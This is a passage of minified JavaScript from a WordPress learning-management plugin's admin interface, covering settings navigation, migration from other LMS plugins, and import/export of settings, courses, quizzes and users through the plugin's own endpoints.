l().createElement(ME,{slug:"payments",expandedIndex:f,methods:r,steps:o,name:(0,E.__)("Payments","learning-management-system"),icon:l().createElement(rg,{"aria-label":"payment-icon",height:"20px",width:"20px",fill:"payments"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"quiz",expandedIndex:f,methods:r,steps:bg,name:(0,E.__)("Quiz","learning-management-system"),icon:l().createElement(ig,{"aria-label":"quiz-icon",height:"20px",width:"20px",fill:"quiz"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"emails",expandedIndex:f,methods:r,steps:wg,name:(0,E.__)("Emails","learning-management-system"),icon:l().createElement(og,{"aria-label":"emails-icon",height:"20px",width:"20px",fill:"emails"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"authentication",expandedIndex:f,methods:r,steps:Bg,name:(0,E.__)("Authentication","learning-management-system"),icon:l().createElement(dg,{"aria-label":"authentication-icon",height:"20px",width:"20px",fill:"authentication"===c?Aa:null}),isExpanded:t,setExpandedIndex:h})})),l().createElement(Wg.A,null,(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"advance",expandedIndex:f,methods:r,steps:s,name:(0,E.__)("Advanced","learning-management-system"),icon:l().createElement(sg,{"aria-label":"advance-icon",height:"20px",width:"20px",fill:"advance"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})),l().createElement($n.m,{placement:"right",label:Em("gamipress-integration")?"":(0,E.__)("You need to activate Gamipress.","learning-management-system")},l().createElement(Wg.A,{isDisabled:!Em("gamipress-integration")},(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"gamipress",expandedIndex:f,methods:r,steps:xg,name:(0,E.__)("Gamipress","learning-management-system"),icon:l().createElement(cg,{"aria-label":"gamipress-icon",height:"20px",width:"20px",fill:"gamipress"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})}))),ym()&&m.length>0&&l().createElement(Wg.A,{isDisabled:!1===ym()||m.length<0},(e=>{var{isExpanded:t}=e;return l().createElement(ME,{slug:"integrations",expandedIndex:f,methods:r,steps:m,name:(0,E.__)("Integrations","learning-management-system"),icon:l().createElement(ug,{"aria-label":"integrations-icon",height:"20px",width:"20px",fill:"integrations"===c?Aa:vf}),isExpanded:t,setExpandedIndex:h})})))))};function hf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function bf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?hf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):hf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const wf=()=>{var[e]=(0,xt.U)("(max-width: 1400px)"),[t]=(0,xt.U)("(max-width: 1200px)"),[n,r]=(0,a.useState)(!1),i=new mt(rt.settings),o=(0,Pn.I)({queryKey:["settings"],queryFn:()=>i.list()}),s=(0,Je.mN)({reValidateMode:"onChange",mode:"onChange",defaultValues:bf(bf({},o.data),{},{upgrade_to_pro:!e})}),m=(0,Je.FH)({name:"masteriyo_sidebar",defaultValue:!1,control:s.control});return(0,a.useEffect)((()=>{o.isSuccess&&o.data&&s.reset(bf(bf({},o.data),{},{upgrade_to_pro:!e}))}),[o.isSuccess]),Ca(!$(s.formState.dirtyFields)),l().createElement(_g,{defaultSettings:o.data,upgradeToPro:!1},l().createElement(Je.Op,s,l().createElement(d.B,{direction:"column",spacing:"8",width:"full",alignItems:"center",rounded:"base"},null!=o&&o.isSuccess?l().createElement(De.m,{display:"flex",maxW:"container.xl",onClick:()=>{r(!1),s.setValue("general_search_results_visible",!1)},sx:pa,py:10},l().createElement(Ze.z,{position:"relative",maxW:"full",backgroundColor:"soft-gray",alignItems:"flex-start",gap:"26px",boxShadow:"-5px 0px 25px -3px rgba(0, 0, 0, 0.1)",width:"100%",transition:"width 0.6s cubic-bezier(0.25, 0.1, 0.25, 1), height 0.6s cubic-bezier(0.25, 0.1, 0.25, 1)"},l().createElement(d.B,{position:"relative",alignSelf:"stretch",backgroundColor:"faint-gray"},l().createElement(u.T,{backgroundColor:"faint-gray",alignItems:"center",flexShrink:"0",onClick:()=>r(!1),display:"flex",position:t?"absolute":"static",top:0,left:0,marginLeft:t&&!m?"-380px":"0px",zIndex:5,transition:"0.6s cubic-bezier(0.25, 0.1, 0.25, 1), height 0.6s cubic-bezier(0.25, 0.1, 0.25, 1)"},t&&m&&l().createElement(Qe.a,{width:"140vw",height:"full",bg:"graphite",opacity:"0.4",position:"absolute",top:"0",left:"2",onClick:()=>{r(!1),s.setValue("masteriyo_sidebar",!1)}}),l().createElement(ff,{isGeneralSearchQueryFocused:n,setIsGeneralSearchQueryFocused:r,methods:s}))),l().createElement(u.T,{flex:"1",bg:"transparent",border:"none",boxShadow:"none",alignSelf:"stretch",color:"graphite"},l().createElement(kE,{settingsData:null==o?void 0:o.data,methods:s})))):l().createElement(kd,null))))};var Cf=n(69302),xf=["Courses","Orders","Reviews"],Sf={lifterlms:["Courses","Orders"],"sfwd-lms":["Courses","Orders"],tutor:[...xf,"Announcement","Questions and Answers"]},Bf="completed",If="migrating",Of="courses",Pf="orders",Df="reviews",_f="announcement",kf="questions_n_answers",Qf="/masteriyo/v1/",zf={migrationLMSs:Qf+"migrations/lms",migrations:Qf+"migrations"},qf=n(16560),Ff=n(81685),jf=n(63877),Vf=e=>{var{title:t,description:n,height:a="100%",varient:r="subtle"}=e;return l().createElement(Ta.F,{status:"success",variant:r,flexDirection:"column",alignItems:"center",justifyContent:"center",textAlign:"center",height:a,borderRadius:5},l().createElement(Po._,{boxSize:"40px",mr:0}),l().createElement(Ua.X,{mt:4,mb:1,fontSize:"lg"},t),n&&l().createElement(Wa.T,{maxWidth:"sm"},n))};const Lf=l().memo(Vf);var Mf=e=>{var{isMigrationProcessCompleted:t,activeStep:n,lmsWatchedValue:a,currentlyActiveLms:r,showMigrationStatus:i,onMigrationalStatusClose:o,migrationProcessInProgress:s}=e;return l().createElement(l().Fragment,null,l().createElement(S,{size:"sm",isOpen:i,onClose:o,title:t?"":null==r?void 0:r.label,showCloseOption:t,closeOnOverlayClick:t,applyPadding:!t,extraInfo:s&&l().createElement(Jt.E,{colorScheme:"green",ml:2,py:1,px:2,variant:"outline",borderRadius:"sm"},"In-Progress: ",s)},t?l().createElement(Lf,{title:(0,E.__)("".concat(null==r?void 0:r.label,"'s data migrated successfully."),"learning-management-system"),height:"130px",varient:"subtle"}):l().createElement(Xr.C,{index:n,mt:2,colorScheme:"primary",orientation:"vertical"},[...Sf[a]||xf].map(((e,t)=>l().createElement(Yr.p,{key:t},l().createElement(Zr.S,null,l().createElement(qf.x,{complete:l().createElement(Ff.W,null),incomplete:l().createElement(jf.Q,null),active:l().createElement(bt.y,{fontSize:"sm",color:"blue.500"})})),l().createElement($r.J,null,l().createElement(g.E,{position:"relative",bottom:3,left:1,fontSize:15,color:t===n?Aa:"gray.800",fontWeight:t===n?"semibold":"normal"},e)),l().createElement(ti.m,null)))))))};const Rf=l().memo(Mf);function Tf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Uf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Tf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Tf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Wf=()=>{var e,t,n,r,{activeStep:i,setActiveStep:o}=(0,Cf.f)({index:0,count:xf.length}),[m,c]=(0,a.useState)(!1),g=(0,We.d)(),A=(0,s.jE)(),{register:y,handleSubmit:v,getValues:f,formState:{errors:h},watch:b}=(0,Je.mN)(),w=b("lms_name"),C=(n=new mt(zf.migrationLMSs),(0,Pn.I)({queryKey:["migrationLMSsList"],queryFn:()=>n.list()})),x=function(){var e=new mt(zf.migrations),t=(0,We.d)();return(0,wt.n)({mutationFn:t=>e.store(t),onError:e=>{t({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})}(),[S,B]=(0,a.useState)({courses:"not_started",orders:"not_started",reviews:"not_started",announcement:"not_started",questions_n_answers:"not_started"}),I=(0,a.useCallback)((e=>{B((t=>{var n=Uf({},t);return e.remainingCourses&&!$(e.remainingCourses)?n.courses=If:n=e.remainingOrders&&!$(e.remainingOrders)?Uf(Uf({},n),{},{courses:Bf,orders:If}):e.remainingReviews&&!$(e.remainingReviews)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:If}):e.remainingAnnouncement&&!$(e.remainingAnnouncement)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:Bf,announcement:If}):e.remainingQuestionsAnswers&&!$(e.remainingQuestionsAnswers)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:Bf,announcement:Bf,questions_n_answers:If}):e.remainingUsers&&!$(e.remainingUsers)||e.remainingQuizAttempts&&!$(e.remainingQuizAttempts)?Uf(Uf({},n),{},{courses:Bf,orders:Bf,reviews:Bf,announcement:Bf,questions_n_answers:Bf}):{courses:Bf,orders:Bf,reviews:Bf,announcement:Bf,questions_n_answers:Bf},n.courses===Bf&&n.orders===Bf&&n.reviews===Bf&&n.announcement===Bf&&n.questions_n_answers===Bf&&A.invalidateQueries({queryKey:["courseList"]}),n}))}),[B,A]),O=(0,a.useCallback)((()=>c(!1)),[]),P=null===(e=C.data)||void 0===e?void 0:e.data.find((e=>(null==e?void 0:e.name)===f("lms_name"))),D=(0,a.useMemo)((()=>Object.keys(S).find((e=>S[e]===If))),[S]),_=(0,a.useMemo)((()=>Object.keys(S).every((e=>S[e]===Bf))),[S]);return(0,a.useEffect)((()=>{S[Of]===Bf&&(o(1),S[Pf]===Bf&&(o(2),S[Df]===Bf&&o(3)))}),[S,o]),(0,a.useEffect)((()=>{var e;return!m&&Object.keys(S).some((e=>S[e]===If))&&c(!0),m&&Object.keys(S).every((e=>S[e]===Bf))&&(e=setTimeout((()=>{c(!1)}),2e3)),()=>{clearTimeout(e)}}),[S,m]),(0,a.useEffect)((()=>{h.lms_name&&g({title:(0,E.__)(String(h.lms_name.message),"learning-management-system"),status:"error",isClosable:!0})}),[h.lms_name,g]),(0,a.useEffect)((()=>{if(!(S.courses===Bf&&S.orders===Bf&&S.reviews===Bf&&S.announcement===Bf&&S.questions_n_answers===Bf||x.isPending)){var e=f("lms_name");[Of,Pf,Df,_f,kf].forEach((t=>{S[t]===If&&x.mutate({lms_name:e,type:t},{onSuccess:e=>{I(e)},onError:e=>{var t,n=(null==e?void 0:e.message)||(null==e||null===(t=e.data)||void 0===t?void 0:t.message)||(0,E.__)("Failed to migrate.","learning-management-system");g({title:(0,E.__)("Failed to migrate.","learning-management-system"),description:n,status:"error",isClosable:!0})}})}))}}),[S,I,f,x,g]),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",{onSubmit:v((e=>{o(0),B(Uf(Uf({},S),{},{courses:If,orders:"not_started",reviews:"not_started",announcement:"not_started",questions_n_answers:"not_started"})),x.mutate(ne(e),{onSuccess:e=>{I(e)},onError:e=>{var t,n=(null==e?void 0:e.message)||(null==e||null===(t=e.data)||void 0===t?void 0:t.message)||(0,E.__)("Failed to migrate.","learning-management-system");g({title:(0,E.__)("Failed to migrate.","learning-management-system"),description:n,status:"error",isClosable:!0})}})}))},l().createElement(Fa,{isInvalid:!(null==h||!h.lms_name)},l().createElement(Ge.l,{htmlFor:"lms_name"},(0,E.__)("Migration From","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Choose an LMS from the list to migrate.","learning-management-system")})),l().createElement(u.T,null,l().createElement(Ze.z,{width:"full"},l().createElement(aa.l,(0,Re.A)({id:"lms_name",isDisabled:x.isPending,placeholder:(0,E.__)("Select an LMS","learning-management-system")},y("lms_name",{required:(0,E.__)("Select an LMS.","learning-management-system")})),C.isLoading?l().createElement("option",{disabled:!0},(0,E.__)("Loading...","learning-management-system")):C.isError?l().createElement("option",{disabled:!0},(0,E.__)("Error loading options","learning-management-system")):((null===(r=C.data)||void 0===r?void 0:r.data)||[]).map((e=>l().createElement("option",{value:e.name,key:e.name},e.label)))),l().createElement(p.$,{colorScheme:"blue",type:"submit",isLoading:x.isPending,isDisabled:x.isPending,loadingText:(0,E.__)("Migrating...","learning-management-system"),size:"md",rightIcon:l().createElement(Fn.Z$r,{size:15})},(0,E.__)("Migrate","learning-management-system"))),l().createElement(_t.S,{in:P},l().createElement(u.T,{gap:3,my:5,alignItems:"flex-start"},l().createElement(at,{status:"warning",mb:"6"},(0,E.__)("Before proceeding with the migration, please test the process on a staging site. The following data will be migrated, and once the migration is complete, the data cannot be restored to the previous LMS system.","learning-management-system")),l().createElement(Fe.B8,{spacing:3},null===(t=[...Sf[null==P?void 0:P.name]||xf])||void 0===t?void 0:t.map((e=>l().createElement(Fe.ck,{fontSize:"small",color:"gray.600",key:e,fontWeight:"semibold"},l().createElement(Fe.kp,{as:kt.OZ6,color:"green.500",fontSize:"sm"}),e,"Courses"===e&&l().createElement(Qe.a,{ml:8,mt:2},l().createElement(Fe.Xy,{spacing:1},l().createElement(Fe.ck,{fontSize:"small",color:"gray.600"},(0,E.__)("All Enrolled Users","learning-management-system")),l().createElement(Fe.ck,{fontSize:"small",color:"gray.600"},(0,E.__)("Instructors who created the course","learning-management-system")))))))))))),l().createElement(Rf,{activeStep:i,currentlyActiveLms:P,lmsWatchedValue:w,isMigrationProcessCompleted:_,migrationProcessInProgress:D,onMigrationalStatusClose:O,showMigrationStatus:m})))};function Kf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Nf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Kf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Kf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Gf=()=>{var{register:e,formState:{errors:t},handleSubmit:n,reset:a,watch:r}=(0,Je.mN)(),i=(0,We.d)(),o=(0,s.jE)(),m=r("file"),c=(0,wt.n)(Nf({mutationFn:e=>{var t,n=new FormData;return n.append("file",null==e||null===(t=e.file)||void 0===t?void 0:t[0]),st({path:rt.importSettings,method:"POST",body:n})}},{onSuccess(){i({title:(0,E.__)("Import complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0}),a(),o.invalidateQueries({queryKey:["settings"]}),window.location.reload()},onError(e){i({title:(0,E.__)("Import failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}})),u=(0,wt.n)(Nf({mutationFn:()=>st({path:rt.exportSettings,method:"POST"})},{onSuccess(e){var t=document.createElement("a");t.href=null==e?void 0:e.download_url,t.download=null==e?void 0:e.filename,document.body.appendChild(t),t.click(),document.body.removeChild(t),i({title:(0,E.__)("Export complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(e){i({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==t||!t.file)},l().createElement(Ma.p,(0,Re.A)({opacity:c.isPending?"0.5":1,pointerEvents:c.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".json"},e("file",{required:(0,E.__)("Please select an import file.","learning-management-system")}))),!(null==t||!t.file)&&l().createElement(ui.Wt,null,t.file.message)),!(null==m||!m.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{colorScheme:"primary",isLoading:c.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:n((e=>c.mutate(e)))},(0,E.__)("Import settings","learning-management-system")),c.isPending&&l().createElement(d.B,{flex:"1"},l().createElement(g.E,{fontStyle:"italic",opacity:"0.8"},(0,E.__)("Importing...","learning-management-system")),l().createElement(Jd.k,{size:"xs",hasStripe:!0,isIndeterminate:!0}))))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{colorScheme:"primary",isLoading:u.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>u.mutate()},(0,E.__)("Export settings","learning-management-system")))))};const Hf=e=>{var{importProgress:t}=e;return t.inProgress||t.completed?null!=t&&t.completed&&!t.showAlert?null:l().createElement(Ta.F,{status:t.completed?"success":"warning",variant:"subtle",borderRadius:"md",boxShadow:"sm",flexDirection:"row",alignItems:"center",textAlign:"left",width:"100%"},t.inProgress?l().createElement(bt.y,{size:"md",color:t.completed?"green.500":"yellow.500",mr:3}):l().createElement(Po._,{boxSize:"24px",mr:3}),t.inProgress&&l().createElement(Ua.X,null,null==t?void 0:t.message),t.completed&&l().createElement(Ze.z,{justifyContent:"space-between",alignItems:"center",width:"full"},l().createElement(Ua.X,null,null==t?void 0:t.message))):null};function Jf(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Xf(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Jf(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Jf(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Yf=3145728;const Zf=()=>{var e,{register:t,formState:{errors:n},handleSubmit:r,reset:i,control:o}=(0,Je.mN)(),m=(0,We.d)(),c=(0,s.jE)(),[u,g]=(0,a.useState)([...da.map((e=>e.key))]),[A,y]=(0,a.useState)({completed:!1,message:"",inProgress:!1}),[v,f]=(0,a.useState)({completed:!1,message:"",inProgress:!1}),{isOpen:h,onOpen:b,onClose:w}=(0,Ue.j)(),C=new mt(rt.coursesExport),x=new mt(rt.exportCourseStatus),S=new mt(rt.importCourseStatus),B=(0,Je.FH)({control:o,name:"file"}),I=(0,wt.n)(Xf({mutationFn:(e=(0,Te.A)((function*(e){var t,n=null==e||null===(t=e.file)||void 0===t?void 0:t[0];if(n&&0!==n.size){f({inProgress:!0,completed:!1,message:(0,E.__)("Import in progress. Please wait...")});var a=n.size,l=Math.ceil(a/Yf);try{for(var r=0;r<l;r++){var o=r*Yf,s=Math.min(o+Yf,a),u=n.slice(o,s),d=new FormData;d.append("file",u),d.append("chunkIndex",r.toString()),d.append("totalChunks",l.toString()),d.append("fileName",n.name),d.append("fileSize",a.toString());var g=yield st({path:rt.import,method:"POST",body:d});if("completed"===g.status)return f({inProgress:!1,completed:!0,message:null==g?void 0:g.message,showAlert:!0}),void i();"progress"===(null==g?void 0:g.status)&&(f({inProgress:!0,completed:!1,message:g.message}),setTimeout((()=>D()),15e3))}i(),c.invalidateQueries({queryKey:["courseList"]})}catch(e){f({inProgress:!1,completed:!1,message:(0,E.__)("Import Failed!","learning-management-system")}),m({title:(0,E.__)("Import failed!","learning-management-system"),description:(null==e?void 0:e.message)||(0,E.__)("Something went wrong.","learning-management-system"),status:"error",duration:3e3,isClosable:!0})}}else m({title:(0,E.__)("No file selected or the file is empty","learning-management-system"),status:"error",duration:3e3,isClosable:!0})})),function(t){return e.apply(this,arguments)})},{})),O=(0,wt.n)(Xf({mutationFn:()=>C.store({course_ids:[],course_items:u})},{onSuccess:e=>{y({completed:!(null==e||!e.download_url),message:null==e?void 0:e.message,inProgress:!(null!=e&&e.download_url),downloadLink:(null==e?void 0:e.download_url)||void 0}),null!=e&&e.download_url||setTimeout((()=>P()),15e3),w()},onError:e=>{m({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0}),y({completed:!1,message:(0,E.__)("Export failed!","learning-management-system"),inProgress:!1}),w()}})),P=e=>{var t=e,n=()=>{x.get().then((e=>{y({completed:null==e?void 0:e.download_url,message:null==e?void 0:e.message,inProgress:"progress"===e.status,downloadLink:null==e?void 0:e.download_url}),null!=e&&e.download_url&&t?(clearInterval(t),t=void 0):t||"progress"!==e.status||(t=setInterval(n,5e3))})).catch((e=>{console.error("Error checking export progress:",e),y({completed:!1,message:(0,E.__)("Error checking progress","learning-management-system"),inProgress:!1}),t&&clearInterval(t)}))};n()},D=e=>{var t=e,n=()=>{S.get().then((e=>{f({completed:"completed"===e.status,message:(null==e?void 0:e.message)||(0,E.__)("Import in progress. Please wait..."),inProgress:"completed"!==e.status,showAlert:"completed"===e.status}),"completed"===e.status&&t?(clearInterval(t),t=void 0):t||"completed"===e.status||(t=setInterval(n,5e3))})).catch((e=>{console.error("Error checking import progress:",e),f({completed:!1,message:(0,E.__)("Error checking import progress","learning-management-system"),inProgress:!1}),t&&clearInterval(t)}))};n()};return(0,a.useEffect)((()=>{(function(){var e=(0,Te.A)((function*(){P()}));return function(){return e.apply(this,arguments)}})()()}),[]),(0,a.useEffect)((()=>{var e=function(){var e=(0,Te.A)((function*(){D()}));return function(){return e.apply(this,arguments)}}();(e=>{var t=document.cookie.split(";");for(var n of t){var[a,l]=n.split("=");if(a.trim()===e)return decodeURIComponent(l)}})("masteriyo_course_import_is_in_progress_".concat(null==R?void 0:R.current_user_id))?e():f({completed:!0,inProgress:!1,message:(0,E.__)("Import successful.","learning-management-system")})}),[]),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column",gap:4},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==n||!n.file)},l().createElement(Ma.p,(0,Re.A)({opacity:null!=v&&v.inProgress||null!=I&&I.isPending?"0.5":1,pointerEvents:null!=v&&v.inProgress||null!=I&&I.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".json"},t("file",{required:(0,E.__)("Please select an import file.","learning-management-system")}))),!(null==n||!n.file)&&l().createElement(ui.Wt,null,n.file.message)),!(null==B||!B.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{ml:{base:0,lg:2},mt:{base:2,lg:0},colorScheme:"primary",display:null!=v&&v.inProgress?"none":"unset",variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:r((e=>I.mutate(e)))},(0,E.__)("Import courses","learning-management-system")))),l().createElement(Hf,{importProgress:v})))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(d.B,{direction:"column",gap:4},l().createElement(p.$,{variant:"outline",isLoading:O.isPending,leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>b(),isDisabled:null==A?void 0:A.inProgress,w:"fit-content"},(0,E.__)("Export courses","learning-management-system")),l().createElement(Tg,{exportProgress:A}))),l().createElement(Hd,{handleCheckboxChange:e=>{g((t=>t.includes(e)?t.filter((t=>t!==e)):[...t,e]))},isExportCourseModalOpened:h,onExport:O,onExportCourseModalClose:w,selectedCourseContents:u,selectedCourses:[]}))};function $f(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function eh(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$f(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$f(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const th=()=>{var{register:e,formState:{errors:t},handleSubmit:n,reset:a,watch:r}=(0,Je.mN)(),i=(0,We.d)(),o=(0,s.jE)(),m=r("file"),c=(0,wt.n)(eh({mutationFn:e=>{var t,n=new FormData;return n.append("file",null==e||null===(t=e.file)||void 0===t?void 0:t[0]),st({path:rt.quizzesImport,method:"POST",body:n})}},{onSuccess(){i({title:(0,E.__)("Import complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0}),a(),o.invalidateQueries({queryKey:["courseList"]})},onError(e){i({title:(0,E.__)("Import failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}})),u=(0,wt.n)(eh({mutationFn:()=>st({path:rt.quizzesExport,method:"POST"})},{onSuccess(e){var t=document.createElement("a");t.href=null==e?void 0:e.download_url,t.download=null==e?void 0:e.filename,document.body.appendChild(t),t.click(),document.body.removeChild(t),i({title:(0,E.__)("Export complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(e){i({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}}));return l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement("form",null,l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Import","learning-management-system")),l().createElement(d.B,{direction:"column"},l().createElement(Fa,null,l().createElement(Ne.MJ,{isInvalid:!(null==t||!t.file)},l().createElement(Ma.p,(0,Re.A)({opacity:c.isPending?"0.5":1,pointerEvents:c.isPending?"none":"auto",boxShadow:"none",variant:"unstyled",multiple:!1,type:"file",accept:".json"},e("file",{required:(0,E.__)("Please select an import JSON file.","learning-management-system")}))),!(null==t||!t.file)&&l().createElement(ui.Wt,null,t.file.message)),!(null==m||!m.length)&&l().createElement(d.B,{direction:"row",w:"full",ml:2},l().createElement(p.$,{colorScheme:"primary",isLoading:c.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.bh6,fontSize:"md"}),onClick:n((e=>c.mutate(e)))},(0,E.__)("Import quizzes","learning-management-system")),c.isPending&&l().createElement(d.B,{flex:"1"},l().createElement(g.E,{fontStyle:"italic",opacity:"0.8"},(0,E.__)("Importing...","learning-management-system")),l().createElement(Jd.k,{size:"xs",hasStripe:!0,isIndeterminate:!0}))))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Export","learning-management-system")),l().createElement(Qe.a,null,l().createElement(p.$,{colorScheme:"primary",isLoading:u.isPending,variant:"outline",type:"button",leftIcon:l().createElement($e.I,{as:kt.w4m,fontSize:"md"}),onClick:()=>u.mutate()},(0,E.__)("Export quizzes","learning-management-system")))))};function nh(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function ah(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?nh(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):nh(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const lh=()=>{var{register:e,formState:{errors:t},handleSubmit:n,reset:a,watch:r}=(0,Je.mN)(),i=(0,We.d)(),o=(0,s.jE)(),m=r("file"),c=(0,wt.n)(ah({mutationFn:e=>{var t,n=new FormData;return n.append("file",null==e||null===(t=e.file)||void 0===t?void 0:t[0]),st({path:rt.usersImport,method:"POST",body:n})}},{onSuccess(){i({title:(0,E.__)("Import complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0}),a(),o.invalidateQueries({queryKey:["courseList"]})},onError(e){i({title:(0,E.__)("Import failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}})),u=(0,wt.n)(ah({mutationFn:()=>st({path:rt.usersExport,method:"POST"})},{onSuccess(e){var t=document.createElement("a");t.href=null==e?void 0:e.download_url,t.download=null==e?void 0:e.filename,document.body.appendChild(t),t.click(),document.body.removeChild(t),i({title:(0,E.__)("Export complete","learning-management-system"),status:"success",duration:3e3,isClosable:!0})},onError(e){i({title:(0,E.__)("Export failed!","learning-management-system"),description:null==e?void 0:e.message,status:"error",duration:3e3,isClosable:!0})}}));return 